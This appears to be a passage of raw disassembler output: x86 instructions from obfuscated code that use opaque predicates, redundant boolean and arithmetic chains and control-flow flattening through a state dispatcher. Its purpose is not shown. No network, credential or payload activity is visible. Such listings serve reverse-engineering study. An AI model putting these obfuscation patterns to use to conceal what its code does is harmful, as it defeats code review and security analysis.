sub edx, 0x2b7aa4cf
sub edx, 0x966def5f
sub edx, 0x4aec565d
add edx, 0x966def5f
xor esi, esi
sub esi, 0x7e89fbcb
sub edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dh
cmp eax, 0xa
setl bh
mov dl, dh
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov al, dh
and al, cl
or dl, al
mov al, 1
xor al, 1
xor dl, 0xff
mov cl, 1
xor cl, 0
or al, dl
or cl, 0
xor al, 0xff
and al, cl
mov ah, 1
xor ah, 1
and ah, 0
mov dl, 1
xor dl, 0
mov ch, dl
and ch, 1
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or ah, ch
or cl, dl
xor ah, cl
mov cl, dh
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 0
or cl, ah
or dl, 0
xor cl, 0xff
and cl, dl
mov bl, al
and bl, cl
xor al, cl
or bl, al
mov dl, bh
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov al, bh
and al, cl
or dl, al
mov cl, 1
xor cl, 1
xor dl, 0xff
mov al, 1
xor al, 1
or cl, dl
or al, 1
xor cl, 0xff
and cl, al
mov ah, 1
xor ah, 1
and ah, 1
mov al, 1
xor al, 1
and al, 1
or ah, al
mov ch, bh
xor ch, 0xff
mov dl, ah
xor dl, 0xff
mov al, 1
xor al, 1
or ch, dl
or al, 1
xor ch, 0xff
and ch, al
mov dl, 1
xor dl, 1
and dl, 1
mov al, 1
xor al, 1
and al, 1
or dl, al
mov byte [ebp - 0x50a], dl
mov al, 1
xor al, 1
xor dl, al
mov al, byte [ebp - 0x50a]
and dl, al
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov al, cl
and al, ch
xor cl, ch
or al, cl
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov dl, al
xor dl, 0xff
mov ah, cl
and ah, dl
xor cl, 0xff
and al, cl
or ah, al
mov cl, 1
xor cl, 0
and cl, 1
mov dl, 1
xor dl, 1
mov ch, dl
and ch, 0
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or cl, ch
or al, dl
xor cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov dl, 1
xor dl, 1
and dl, 0
mov ch, 1
xor ch, 0
mov al, ch
and al, 1
mov byte [ebp - 0x509], al
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x508], al
mov al, byte [ebp - 0x509]
and ch, 1
or dl, al
mov al, byte [ebp - 0x508]
or al, ch
xor dl, al
mov ch, 1
xor ch, 0
xor dl, 0xff
mov al, 1
xor al, 0
or ch, dl
or al, 0
xor ch, 0xff
and ch, al
mov byte [ebp - 0x507], ch
mov al, cl
xor al, 0xff
mov byte [ebp - 0x502], al
xor ch, 0xff
mov dl, 1
xor dl, 0
and al, 0
mov byte [ebp - 0x506], al
and cl, dl
mov al, ch
and al, 0
mov byte [ebp - 0x505], al
mov al, byte [ebp - 0x507]
and al, dl
mov byte [ebp - 0x504], al
mov al, byte [ebp - 0x506]
or al, cl
mov cl, byte [ebp - 0x505]
mov byte [ebp - 0x503], al
mov al, byte [ebp - 0x504]
or cl, al
mov al, byte [ebp - 0x503]
xor al, cl
mov cl, byte [ebp - 0x502]
or cl, ch
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
mov byte [ebp - 0x4b1], al
mov cl, bl
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov al, bl
and al, dl
or cl, al
mov al, 1
xor al, 0
and al, 1
mov dl, 1
xor dl, 1
and dl, 0
or al, dl
mov byte [ebp - 0x4ff], al
mov dl, 1
xor dl, 0
and dl, 0
mov al, 1
xor al, 0
mov ch, al
and ch, 0
mov byte [ebp - 0x501], ch
mov ch, 1
xor ch, 1
and ch, 0
and al, 1
mov byte [ebp - 0x500], al
mov al, byte [ebp - 0x501]
or dl, al
mov al, byte [ebp - 0x500]
or ch, al
mov al, byte [ebp - 0x4ff]
xor dl, ch
mov byte [ebp - 0x4f9], dl
mov dl, cl
xor dl, 0xff
xor al, 0xff
mov byte [ebp - 0x4fa], al
mov ch, 1
xor ch, 0
mov al, dl
and al, 0
mov byte [ebp - 0x4fe], al
mov al, byte [ebp - 0x4fa]
and cl, ch
and al, 0
mov byte [ebp - 0x4fc], al
mov al, byte [ebp - 0x4ff]
and al, ch
mov byte [ebp - 0x4fd], al
mov al, byte [ebp - 0x4fe]
or al, cl
mov cl, byte [ebp - 0x4fd]
mov byte [ebp - 0x4fb], al
mov al, byte [ebp - 0x4fc]
or al, cl
mov cl, byte [ebp - 0x4fb]
xor cl, al
mov al, byte [ebp - 0x4fa]
or dl, al
mov al, byte [ebp - 0x4f9]
xor dl, 0xff
or ch, 0
and dl, ch
or cl, dl
mov dl, al
and dl, 0
xor al, 0
or dl, al
mov al, cl
xor al, 0xff
and al, 1
mov byte [ebp - 0x4f8], al
mov ch, 1
xor ch, 1
and cl, ch
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0x4f7], al
mov al, byte [ebp - 0x4f8]
and ch, 1
or al, cl
mov cl, byte [ebp - 0x4f7]
or cl, ch
mov ch, byte [ebp - 0x4b1]
xor al, cl
xor al, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 0
or al, dl
or cl, 0
xor al, 0xff
and al, cl
mov byte [ebp - 0x4e1], al
mov al, dh
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
and dh, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or al, dh
or cl, dl
xor al, cl
mov byte [ebp - 0x4f6], al
mov dl, ch
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
and ch, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dl, ch
or al, cl
xor dl, al
mov al, 1
xor al, 1
and al, 1
mov dh, 1
xor dh, 1
mov cl, dh
and cl, 1
mov ch, 1
xor ch, 1
and ch, 0xff
and dh, 1
or al, cl
mov cl, byte [ebp - 0x4f6]
or ch, dh
xor al, ch
mov dh, cl
and dh, dl
xor cl, dl
or dh, cl
mov cl, al
and cl, 1
xor al, 1
or cl, al
mov al, dh
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and dh, ch
mov dl, 1
xor dl, 1
and dl, 0xff
and ch, 1
or al, dh
or dl, ch
xor al, dl
xor cl, 0xff
mov ch, al
xor ch, cl
and ch, al
mov al, ah
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
mov cl, ah
and cl, dl
or al, cl
mov byte [ebp - 0x4f5], al
mov al, 1
xor al, 0
and al, 0
mov dh, 1
xor dh, 0
mov cl, dh
and cl, 0
mov dl, 1
xor dl, 1
and dl, 0
and dh, 1
or al, cl
mov cl, byte [ebp - 0x4f5]
or dl, dh
xor al, dl
mov byte [ebp - 0x4f2], al
mov dl, 1
xor dl, 1
and dl, 0
mov al, 1
xor al, 0
mov dh, al
and dh, 1
mov byte [ebp - 0x4f4], dh
mov dh, 1
xor dh, 1
and dh, 0
and al, 1
mov byte [ebp - 0x4f3], al
mov al, byte [ebp - 0x4f4]
or dl, al
mov al, byte [ebp - 0x4f3]
or dh, al
mov al, byte [ebp - 0x4f2]
xor dl, dh
mov byte [ebp - 0x4ed], dl
mov dl, cl
xor dl, 0xff
xor al, 0xff
mov byte [ebp - 0x4ec], al
mov dh, 1
xor dh, 1
mov al, dl
and al, 0xff
mov byte [ebp - 0x4f1], al
mov al, byte [ebp - 0x4ec]
and cl, dh
and al, 0xff
mov byte [ebp - 0x4f0], al
mov al, byte [ebp - 0x4f2]
and al, dh
mov byte [ebp - 0x4ef], al
mov al, byte [ebp - 0x4f1]
or al, cl
mov cl, byte [ebp - 0x4f0]
mov byte [ebp - 0x4ee], al
mov al, byte [ebp - 0x4ef]
or cl, al
mov al, byte [ebp - 0x4ee]
xor al, cl
mov cl, byte [ebp - 0x4ed]
mov byte [ebp - 0x4eb], al
mov al, byte [ebp - 0x4ec]
or dl, al
mov al, byte [ebp - 0x4eb]
xor dl, 0xff
or dh, 1
and dl, dh
or al, dl
mov byte [ebp - 0x4e6], al
mov dl, 1
xor dl, 1
mov byte [ebp - 0x4e7], dl
mov al, cl
xor al, 0xff
mov byte [ebp - 0x4e8], al
mov dh, 1
xor dh, 0
and dl, 0
mov al, dh
and al, 1
mov byte [ebp - 0x4ea], al
mov al, byte [ebp - 0x4e8]
and al, 0
mov byte [ebp - 0x4e9], al
mov al, byte [ebp - 0x4ea]
and cl, dh
or dl, al
mov al, byte [ebp - 0x4e9]
or al, cl
mov cl, byte [ebp - 0x4e8]
xor dl, al
mov al, byte [ebp - 0x4e7]
or al, cl
mov cl, byte [ebp - 0x4e6]
xor al, 0xff
or dh, 0
and al, dh
or dl, al
mov dh, cl
xor dh, 0xff
and dh, 0
mov al, 1
xor al, 0
and cl, al
mov byte [ebp - 0x4e5], cl
mov cl, 1
xor cl, 1
and cl, 0
and al, 1
mov byte [ebp - 0x4e4], al
mov al, byte [ebp - 0x4e5]
or dh, al
mov al, byte [ebp - 0x4e4]
or cl, al
mov al, byte [ebp - 0x4b1]
xor dh, cl
xor dh, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 1
or dh, dl
or cl, 1
xor dh, 0xff
and dh, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
and al, dl
or cl, al
mov dl, bh
xor dl, 0xff
mov al, cl
and al, dl
xor cl, 0xff
mov dl, bh
and dl, cl
mov cl, byte [ebp - 0x4e1]
or al, dl
xor al, 0xff
xor bh, 0xff
mov dl, 1
xor dl, 1
or al, bh
or dl, 1
xor al, 0xff
and al, dl
mov byte [ebp - 0x4d0], al
mov al, cl
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
and cl, dl
or al, cl
mov byte [ebp - 0x4d4], al
mov bh, ch
xor bh, 0xff
and bh, 0
mov dl, 1
xor dl, 0
mov cl, ch
and cl, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or bh, cl
mov cl, byte [ebp - 0x4d4]
or al, dl
xor bh, al
mov dl, 1
xor dl, 0
and dl, 1
mov al, 1
xor al, 1
and al, 0
or dl, al
xor cl, 0xff
mov al, 1
xor al, 0
mov byte [ebp - 0x4e3], al
mov al, 1
xor al, 1
mov byte [ebp - 0x4e2], al
mov al, byte [ebp - 0x4e3]
or cl, al
mov al, byte [ebp - 0x4e2]
or al, 1
xor cl, 0xff
and cl, al
mov al, byte [ebp - 0x4e1]
mov byte [ebp - 0x4d9], cl
xor al, 0xff
mov byte [ebp - 0x4e0], al
mov cl, dl
xor cl, 0xff
mov al, 1
xor al, 0
mov byte [ebp - 0x4df], al
mov al, byte [ebp - 0x4e0]
or al, cl
mov cl, byte [ebp - 0x4df]
or cl, 0
xor al, 0xff
and al, cl
mov byte [ebp - 0x4dc], al
mov al, bh
xor al, 0xff
mov byte [ebp - 0x4de], al
mov cl, 1
xor cl, 0
mov al, 1
xor al, 0
mov byte [ebp - 0x4dd], al
mov al, byte [ebp - 0x4de]
or al, cl
mov cl, byte [ebp - 0x4dd]
or cl, 0
xor al, 0xff
and al, cl
mov cl, byte [ebp - 0x4dc]
mov byte [ebp - 0x4d7], al
xor ch, 0xff
mov al, dl
xor al, 0xff
mov byte [ebp - 0x4db], al
mov al, 1
xor al, 1
mov byte [ebp - 0x4da], al
mov al, byte [ebp - 0x4db]
or ch, al
mov al, byte [ebp - 0x4da]
or al, 1
xor ch, 0xff
and ch, al
mov al, byte [ebp - 0x4d9]
mov byte [ebp - 0x4d8], ch
mov ch, al
and ch, cl
xor al, cl
mov cl, byte [ebp - 0x4d8]
or ch, al
mov al, byte [ebp - 0x4d7]
and al, cl
mov byte [ebp - 0x4d6], al
mov al, byte [ebp - 0x4d7]
xor al, cl
mov cl, byte [ebp - 0x4d6]
or cl, al
mov byte [ebp - 0x4d5], cl
mov al, ch
xor al, 0xff
and cl, al
mov al, byte [ebp - 0x4d5]
xor al, 0xff
and ch, al
mov al, byte [ebp - 0x4d4]
or cl, ch
mov ch, al
and ch, bh
xor al, bh
or ch, al
mov al, ch
xor al, 0xff
and al, 1
mov bh, 1
xor bh, 1
and ch, bh
or al, ch
mov ch, dl
and ch, 0
xor dl, 0
or ch, dl
xor al, 0xff
xor ch, 0xff
mov dl, 1
xor dl, 1
or al, ch
or dl, 1
xor al, 0xff
and al, dl
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0x4d1], bh
mov ch, al
xor ch, 0xff
mov dl, 1
xor dl, 1
and bh, 0xff
and cl, dl
mov byte [ebp - 0x4d3], cl
mov cl, ch
and cl, 0xff
and al, dl
mov byte [ebp - 0x4d2], al
mov al, byte [ebp - 0x4d3]
or bh, al
mov al, byte [ebp - 0x4d2]
or cl, al
mov al, byte [ebp - 0x4d1]
xor bh, cl
mov cl, byte [ebp - 0x4d0]
or al, ch
xor al, 0xff
or dl, 1
and al, dl
or bh, al
mov al, dh
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
mov dl, dh
and dl, ch
or al, dl
mov byte [ebp - 0x4c6], al
mov al, cl
xor al, 0xff
and al, 0
mov ch, 1
xor ch, 0
and cl, ch
mov dl, 1
xor dl, 1
and dl, 0
and ch, 1
or al, cl
mov cl, byte [ebp - 0x4d0]
or dl, ch
xor al, dl
mov byte [ebp - 0x4c8], al
mov ch, 1
xor ch, 1
and ch, 0
mov dl, 1
xor dl, 0
mov al, dl
and al, 1
mov byte [ebp - 0x4cf], al
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x4ce], al
mov al, byte [ebp - 0x4cf]
and dl, 1
or ch, al
mov al, byte [ebp - 0x4ce]
or al, dl
mov dl, byte [ebp - 0x4c6]
xor ch, al
mov byte [ebp - 0x4c3], ch
mov al, 1
xor al, 1
xor dl, al
mov al, byte [ebp - 0x4c6]
and dl, al
xor dh, 0xff
xor ch, 0xff
mov al, 1
xor al, 1
or dh, ch
mov ch, byte [ebp - 0x4c8]
or al, 1
xor dh, 0xff
and dh, al
mov al, 1
xor al, 1
xor ch, al
mov al, byte [ebp - 0x4c8]
and ch, al
mov al, byte [ebp - 0x4c3]
mov byte [ebp - 0x4cd], ch
xor cl, 0xff
xor al, 0xff
mov ch, 1
xor ch, 1
or cl, al
mov al, byte [ebp - 0x4cd]
or ch, 1
xor cl, 0xff
and cl, ch
mov ch, dl
and ch, dh
xor dl, dh
or ch, dl
mov dh, al
xor dh, 0xff
mov byte [ebp - 0x4c9], dh
mov dl, cl
xor dl, 0xff
mov byte [ebp - 0x4ca], dl
mov dl, 1
xor dl, 1
and dh, 0xff
and al, dl
mov byte [ebp - 0x4cc], al
mov al, byte [ebp - 0x4ca]
and al, 0xff
mov byte [ebp - 0x4cb], al
mov al, byte [ebp - 0x4cc]
and cl, dl
or dh, al
mov al, byte [ebp - 0x4cb]
or al, cl
mov cl, byte [ebp - 0x4ca]
xor dh, al
mov al, byte [ebp - 0x4c9]
or al, cl
mov cl, byte [ebp - 0x4c8]
xor al, 0xff
or dl, 1
and al, dl
or dh, al
mov dl, ch
xor dl, 0xff
and dl, 0
mov al, 1
xor al, 0
and ch, al
mov byte [ebp - 0x4c7], ch
mov ch, dh
xor ch, 0xff
and ch, 0
and dh, al
mov al, byte [ebp - 0x4c7]
or dl, al
mov al, byte [ebp - 0x4c6]
or ch, dh
xor dl, ch
mov byte [ebp - 0x4bd], dl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0x4c2], dl
mov dh, cl
xor dh, 0xff
mov ch, 1
xor ch, 0
and dl, 0
and al, ch
mov byte [ebp - 0x4c5], al
mov al, dh
and al, 0
mov byte [ebp - 0x4c4], al
mov al, byte [ebp - 0x4c5]
and cl, ch
or dl, al
mov al, byte [ebp - 0x4c4]
or al, cl
mov cl, byte [ebp - 0x4c3]
xor dl, al
mov al, byte [ebp - 0x4c2]
or al, dh
xor al, 0xff
or ch, 0
and al, ch
or dl, al
mov al, dl
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and dl, ch
or al, dl
mov byte [ebp - 0x4bf], al
mov dl, 1
xor dl, 1
mov al, cl
xor al, 0xff
mov byte [ebp - 0x4be], al
mov dh, 1
xor dh, 1
mov ch, dl
and ch, 0xff
mov al, dh
and al, 1
mov byte [ebp - 0x4c1], al
mov al, byte [ebp - 0x4be]
and al, 0xff
mov byte [ebp - 0x4c0], al
mov al, byte [ebp - 0x4c1]
and cl, dh
or ch, al
mov al, byte [ebp - 0x4c0]
or al, cl
mov cl, byte [ebp - 0x4bf]
xor ch, al
mov al, byte [ebp - 0x4be]
or dl, al
mov al, byte [ebp - 0x4bd]
xor dl, 0xff
or dh, 1
and dl, dh
or ch, dl
xor cl, 0xff
xor ch, 0xff
mov dl, 1
xor dl, 0
or cl, ch
or dl, 0
xor cl, 0xff
and cl, dl
mov dh, al
and dh, cl
xor al, cl
or dh, al
mov cl, bh
xor cl, 0xff
and cl, 0
mov dl, 1
xor dl, 0
mov ch, bh
and ch, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or cl, ch
or al, dl
xor cl, al
xor cl, 0xff
mov al, dh
xor al, cl
and al, dh
mov dl, dh
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
and dh, ch
mov cl, 1
xor cl, 1
and cl, 0xff
and ch, 1
or dl, dh
or cl, ch
xor dl, cl
xor bh, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 1
or bh, dl
or cl, 1
xor bh, 0xff
and bh, cl
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x4bc], ch
mov dl, bh
xor dl, 0xff
mov cl, 1
xor cl, 1
and ch, 0xff
and al, cl
mov dh, dl
and dh, 0xff
and bh, cl
or ch, al
mov al, byte [ebp - 0x4bc]
or dh, bh
xor ch, dh
or al, dl
xor al, 0xff
or cl, 1
and al, cl
or ch, al
mov bh, bl
xor bh, 0xff
and bh, 1
mov cl, 1
xor cl, 1
mov al, bl
and al, cl
or bh, al
mov al, ah
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
mov cl, ah
and cl, dl
or al, cl
mov byte [ebp - 0x4b5], al
mov dl, 1
xor dl, 1
and dl, 0
mov cl, 1
xor cl, 0
mov dh, cl
and dh, 1
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dl, dh
or al, cl
xor dl, al
mov al, 1
xor al, 1
mov cl, bh
xor cl, al
and cl, bh
mov al, dl
xor al, 0xff
mov dh, bl
xor dh, al
mov al, byte [ebp - 0x4b5]
and dh, bl
mov bl, 1
xor bl, 1
xor al, bl
mov bl, byte [ebp - 0x4b5]
and al, bl
mov byte [ebp - 0x4bb], al
xor ah, 0xff
mov al, dl
xor al, 0xff
mov bl, 1
xor bl, 0
or ah, al
mov al, byte [ebp - 0x4bb]
or bl, 0
xor ah, 0xff
and ah, bl
mov byte [ebp - 0x4ba], ah
mov bl, cl
and bl, dh
xor cl, dh
or bl, cl
mov dh, al
xor dh, 0xff
mov byte [ebp - 0x4b6], dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov byte [ebp - 0x4b7], cl
and dh, 0
and al, cl
mov cl, byte [ebp - 0x4ba]
mov byte [ebp - 0x4b9], al
mov al, ah
and al, 0
mov byte [ebp - 0x4b8], al
mov al, byte [ebp - 0x4b7]
and cl, al
mov al, byte [ebp - 0x4b9]
or dh, al
mov al, byte [ebp - 0x4b8]
or al, cl
mov cl, byte [ebp - 0x4b7]
xor dh, al
mov al, byte [ebp - 0x4b6]
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dh, al
mov ah, bl
xor ah, 0xff
and ah, 0
mov al, 1
xor al, 0
and bl, al
mov cl, dh
xor cl, 0xff
and cl, 0
and dh, al
mov al, byte [ebp - 0x4b5]
or ah, bl
or cl, dh
xor ah, cl
mov cl, bh
xor cl, 0xff
mov byte [ebp - 0x4b2], cl
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
and cl, 0
and bh, dh
mov byte [ebp - 0x4b4], bh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0x4b3], al
mov al, byte [ebp - 0x4b4]
or cl, al
mov al, byte [ebp - 0x4b3]
or bh, al
mov al, byte [ebp - 0x4b2]
xor cl, bh
or al, bl
xor al, 0xff
or dh, 0
and al, dh
or cl, al
mov al, cl
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
and cl, dh
or al, cl
mov cl, dl
and cl, 1
xor dl, 1
or cl, dl
xor cl, 0xff
mov bh, al
xor bh, cl
and bh, al
mov cl, ah
xor cl, 0xff
mov dh, bh
xor dh, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and ah, dl
mov bl, dh
and bl, 0xff
and bh, dl
or al, ah
mov ah, byte [ebp - 0x4b1]
or bl, bh
xor al, bl
or cl, dh
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
mov bl, al
and bl, dh
mov dl, 1
xor dl, 1
and dl, 0xff
and dh, 1
or cl, bl
or dl, dh
xor cl, dl
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov dh, 1
xor dh, 1
and dh, 1
mov dl, 1
xor dl, 1
and dl, 1
or dh, dl
xor dh, 0xff
mov dl, al
xor dl, dh
and dl, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov byte [ebp - 0x4a8], al
mov cl, 1
xor cl, 0
and cl, 1
mov al, 1
xor al, 1
and al, 0
or cl, al
mov byte [ebp - 0x4ab], cl
mov dl, ah
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
mov al, ah
and al, dh
or dl, al
mov bl, 1
xor bl, 0
and bl, 0
mov dh, 1
xor dh, 0
mov bh, dh
and bh, 0
mov al, 1
xor al, 1
and al, 0
and dh, 1
or bl, bh
or al, dh
xor bl, al
mov byte [ebp - 0x4ae], bl
mov dh, 1
xor dh, 0
mov al, cl
xor al, dh
and al, cl
mov cl, bl
xor cl, 0xff
xor cl, 0
and cl, 0
mov bh, 1
xor bh, 0
mov dh, dl
xor dh, bh
and dh, dl
mov byte [ebp - 0x4ac], dh
xor ah, 0xff
xor bl, 0xff
mov dh, 1
xor dh, 1
or ah, bl
or dh, 1
xor ah, 0xff
and ah, dh
mov dh, al
xor dh, 0xff
mov bl, cl
xor bl, 0xff
mov byte [ebp - 0x4ad], bl
mov bl, 1
xor bl, 1
mov bh, dh
and bh, 0xff
and al, bl
mov byte [ebp - 0x4b0], al
mov al, byte [ebp - 0x4ad]
and al, 0xff
mov byte [ebp - 0x4af], al
mov al, byte [ebp - 0x4b0]
and cl, bl
or bh, al
mov al, byte [ebp - 0x4af]
or al, cl
mov cl, byte [ebp - 0x4ae]
xor bh, al
mov al, byte [ebp - 0x4ad]
or dh, al
mov al, byte [ebp - 0x4ac]
xor dh, 0xff
or bl, 1
and dh, bl
or bh, dh
mov bl, al
and bl, ah
xor al, ah
or bl, al
mov ah, bh
xor ah, 0xff
and ah, 1
mov al, 1
xor al, 1
and bh, al
mov dh, bl
xor dh, 0xff
and dh, 0xff
and bl, al
mov al, byte [ebp - 0x4ab]
or ah, bh
or dh, bl
xor ah, dh
mov byte [ebp - 0x4a7], ah
mov dh, al
and dh, dl
xor al, dl
or dh, al
mov dl, dh
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
and dh, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or dl, dh
or al, ah
xor dl, al
mov dh, 1
xor dh, 0
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 1
mov ah, dh
and ah, 0xff
mov al, bl
and al, 0
mov byte [ebp - 0x4aa], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x4a9], al
mov al, byte [ebp - 0x4aa]
and cl, bl
or ah, al
mov al, byte [ebp - 0x4a9]
or al, cl
mov cl, byte [ebp - 0x4a8]
xor ah, al
mov al, byte [ebp - 0x4a7]
or dh, bh
xor dh, 0xff
or bl, 1
and dh, bl
or ah, dh
xor ah, 0xff
mov bh, dl
xor bh, ah
and bh, dl
mov dh, al
xor dh, 0xff
mov byte [ebp - 0x4a6], dh
mov ah, bh
xor ah, 0xff
mov dl, 1
xor dl, 1
and dh, 0xff
and al, dl
mov bl, ah
and bl, 0xff
and bh, dl
or dh, al
mov al, byte [ebp - 0x4a6]
or bl, bh
xor dh, bl
or al, ah
xor al, 0xff
or dl, 1
and al, dl
or dh, al
mov al, cl
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
and cl, dl
or al, cl
mov cl, dh
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
and dh, ah
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or cl, dh
or dl, ah
xor cl, dl
mov bh, 1
xor bh, 1
and bh, 0
mov ah, 1
xor ah, 0
mov dh, ah
and dh, 1
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or bh, dh
or dl, ah
xor bh, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov cl, 1
xor cl, 1
mov byte [ebp - 0x4a5], cl
mov dh, bh
xor dh, 0xff
mov ah, 1
xor ah, 1
and cl, 0xff
mov al, ah
and al, 1
mov bl, dh
and bl, 0xff
and bh, ah
or cl, al
mov al, byte [ebp - 0x4a5]
or bl, bh
xor cl, bl
or al, dh
xor al, 0xff
or ah, 1
and al, ah
or cl, al
mov al, dl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and dl, ah
or al, dl
xor cl, 0xff
mov ah, al
xor ah, cl
and ah, al
mov al, ch
xor al, 0xff
mov dl, ah
xor dl, 0xff
mov cl, 1
xor cl, 1
or al, dl
or cl, 1
xor al, 0xff
and al, cl
mov cl, ch
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
and ch, dh
mov dl, ah
xor dl, 0xff
and dl, 0xff
and ah, dh
or cl, ch
or dl, ah
xor cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6f2acfd0
mov ecx, 0x3044d04c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x4b1f8e
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0xec]
mov edx, 0xa7cfd3d8
add edx, 0
sub edx, 0x1d56af56
sub edx, 0xa7cfd3d8
sub edx, 0x854000e4
sub edx, ecx
add edx, 0x854000e4
add edx, 0xca78e8b9
add edx, 0x1d56af56
sub edx, 0xca78e8b9
xor ecx, ecx
sub ecx, 0xd86c30d9
add ecx, 0xcae7d52f
add ecx, 0xd86c30d9
add ecx, 0x3b2b951e
sub ecx, eax
sub ecx, 0x3b2b951e
add ecx, 0xea052fab
sub ecx, 0xcae7d52f
sub ecx, 0xea052fab
add edx, 0xe195ae42
add edx, 0x25ad8885
sub edx, 0xe195ae42
xor eax, eax
sub eax, ecx
sub edx, eax
add edx, 0x797cdf50
sub edx, 0x25ad8885
sub edx, 0x797cdf50
mov ecx, 0x811fc14e
add ecx, 0
sub ecx, 0xcdbe5dc5
sub ecx, 0x811fc14e
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 0xcdbe5dc5
add eax, ecx
xor edx, edx
sub edx, eax
mov eax, dword [ebp - 0x1b4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x190]
mov ecx, dword [ecx]
mov esi, dword [ebp - 0x18c]
imul esi, dword [esi], 0x28
add ecx, esi
mov edi, dword [ecx + 0x14]
mov esi, 0x96583e4e
add esi, 0
sub esi, eax
sub esi, 0x96583e4e
xor ecx, ecx
sub ecx, 0
xor eax, eax
sub eax, esi
add ecx, eax
xor eax, eax
sub eax, ecx
mov esi, 0x5da14522
add esi, 0
add esi, 0x53a833f8
sub esi, 0x5da14522
xor ecx, ecx
sub ecx, edi
add esi, ecx
sub esi, 0xfd89235b
sub esi, 0x53a833f8
add esi, 0xfd89235b
mov ecx, 0x23d73a70
add ecx, 0
sub ecx, esi
sub ecx, 0x23d73a70
sub eax, 0xdd6dd292
sub eax, ecx
add eax, 0xdd6dd292
mov ecx, 0xbbf80e1d
add ecx, 0
sub ecx, eax
sub ecx, 0xbbf80e1d
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x190]
mov eax, dword [eax]
mov esi, dword [ebp - 0x18c]
imul esi, dword [esi], 0x28
add eax, esi
mov eax, dword [eax + 0x10]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.005fadc0
add esp, 0xc
mov dword [ebp - 0x1c0], 0x7376b70b
jmp 0x4b1f8e
mov eax, dword [ebp - 0x18c]
mov ecx, dword [ebp - 0xe4]
mov dword [eax], ecx
mov ecx, dword [0x63d5c4]
mov eax, dword [0x63d5c0]
mov edx, ecx
add edx, 0x5263cee0
sub edx, 0xa4dbe471
sub edx, 0x5263cee0
xor esi, esi
sub esi, 0xf4841471
sub edx, esi
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0xa4dbe471
add esi, edx
xor edx, edx
sub edx, esi
sub edx, 0x2f483c4d
add edx, 0xbb4b2f19
add edx, 0x2f483c4d
sub edx, 0xae22cb9c
sub edx, 1
add edx, 0xae22cb9c
sub edx, 0x8c7b4d89
sub edx, 0xbb4b2f19
add edx, 0x8c7b4d89
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x2dfca93d
add esi, edx
xor edx, edx
sub edx, esi
sub edx, 0xc881f98e
sub edx, 0xf4841471
add edx, 0xc881f98e
xor esi, esi
sub esi, 0x2dfca93d
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dh
cmp eax, 0xa
setl al
mov byte [ebp - 0x5c1], al
mov cl, dh
xor cl, 0xff
